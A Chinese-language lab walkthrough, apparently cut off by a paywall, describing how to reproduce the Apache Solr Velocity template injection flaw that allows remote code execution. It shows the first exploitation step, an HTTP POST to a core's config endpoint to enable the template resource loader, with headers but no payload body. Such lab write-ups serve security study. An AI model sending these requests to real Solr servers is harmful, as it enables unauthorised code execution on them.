描述
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
复现
1.打开靶场环境

2.访问页面默认会有一个叫demo的core
3.通过访问特定url启用配置params.resource.loader.enabled,其中API路径包含刚才获取的core名称:
POST /solr/demo/config HTTP/1.1
Host: 123.58.224.8:36122
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
doNotIntercept: true
X-Requested-With:

本文揭示了Apache Solr 5.0至8.3.1版本的输入验证漏洞,展示了如何利用Velocity模板执行任意代码,并提供了复现步骤。着重于安全风险与解决策略。
最低0.47元/天 解锁文章
1062





